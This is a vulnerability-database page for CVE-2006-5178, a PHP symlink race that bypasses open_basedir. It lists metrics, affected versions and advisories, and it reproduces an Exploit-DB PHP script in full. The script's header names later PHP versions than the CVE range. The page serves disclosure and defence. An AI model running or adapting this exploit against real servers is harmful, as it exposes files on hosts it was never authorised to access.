CVE-2006-5178 : Detail

CVE-2006-5178

0.05%V3
Local
2006-10-05
22h00 +00:00
2018-10-17
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Race condition in the symlink function in PHP 5.1.6 and earlier allows local users to bypass the open_basedir restriction by using a combination of symlink, mkdir, and unlink functions to change the file path after the open_basedir check and before the file is opened by the underlying system, as demonstrated by symlinking a symlink into a subdirectory, to point to a parent directory via .. (dot dot) sequences, and then unlinking the resulting symlink.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 10557

Publication date : 2009-12-18 23h00 +00:00
Author : Maksymilian Arciemowicz
EDB Verified : Yes

<?php /* PHP 5.2.12/5.3.1 symlink() open_basedir bypass by Maksymilian Arciemowicz http://securityreason.com/ cxib [ a.T] securityreason [ d0t] com CHUJWAMWMUZG */ $fakedir="cx"; $fakedep=16; $num=0; // offset of symlink.$num if(!empty($_GET['file'])) $file=$_GET['file']; else if(!empty($_POST['file'])) $file=$_POST['file']; else $file=""; echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs. Author : Maksymilian Arciemowicz <p>Script for legal use only. <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass <p>More: <a href="http://securityreason.com/">SecurityReason</a> <p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>'; if(empty($file)) exit; if(!is_writable(".")) die("not writable directory"); $level=0; for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir); } while(1<$as--) chdir(".."); $hardstyle = explode("/", $file); for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; } } $as++; while($as--) chdir(".."); @rmdir("fakesymlink"); @unlink("fakesymlink"); @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); // this loop will skip allready created symlinks. while(1) if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; else $num++; @unlink("fakesymlink"); mkdir("fakesymlink"); die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>'); ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.1.6

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2

    Php>>Php >> Version 4.2.0

    Php>>Php >> Version 4.2.1

    Php>>Php >> Version 4.2.2

    Php>>Php >> Version 4.2.3

    Php>>Php >> Version 4.3.0

    Php>>Php >> Version 4.3.1

    Php>>Php >> Version 4.3.2

    Php>>Php >> Version 4.3.3

    Php>>Php >> Version 4.3.4

    Php>>Php >> Version 4.3.5

    Php>>Php >> Version 4.3.6

    Php>>Php >> Version 4.3.7

    Php>>Php >> Version 4.3.8

    Php>>Php >> Version 4.3.9

    Php>>Php >> Version 4.3.10

    Php>>Php >> Version 4.3.11

    Php>>Php >> Version 4.4.0

    Php>>Php >> Version 4.4.1

    Php>>Php >> Version 4.4.2

    Php>>Php >> Version 4.4.3

    Php>>Php >> Version 4.4.4

    Php>>Php >> Version 5.0

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0.0

          Php>>Php >> Version 5.0.1

          Php>>Php >> Version 5.0.2

          Php>>Php >> Version 5.0.3

          Php>>Php >> Version 5.0.4

          Php>>Php >> Version 5.0.5

          Php>>Php >> Version 5.1.0

          Php>>Php >> Version 5.1.1

          Php>>Php >> Version 5.1.2

          Php>>Php >> Version 5.1.3

          Php>>Php >> Version 5.1.4

          Php>>Php >> Version 5.1.5

          References

          http://www.securityfocus.com/archive/1/448953/100/0/threaded
          Tags : vendor-advisory, x_refsource_OPENPKG
          http://www.turbolinux.com/security/2006/TLSA-2006-38.txt
          Tags : vendor-advisory, x_refsource_TURBO
          http://www.securityfocus.com/bid/20326
          Tags : vdb-entry, x_refsource_BID
          http://securityreason.com/securityalert/1692
          Tags : third-party-advisory, x_refsource_SREASON
          http://secunia.com/advisories/22235
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.vupen.com/english/advisories/2006/3901
          Tags : vdb-entry, x_refsource_VUPEN
          http://www.mandriva.com/security/advisories?name=MDKSA-2006:185
          Tags : vendor-advisory, x_refsource_MANDRIVA
          http://securitytracker.com/id?1016977
          Tags : vdb-entry, x_refsource_SECTRACK
          http://secunia.com/advisories/22424
          Tags : third-party-advisory, x_refsource_SECUNIA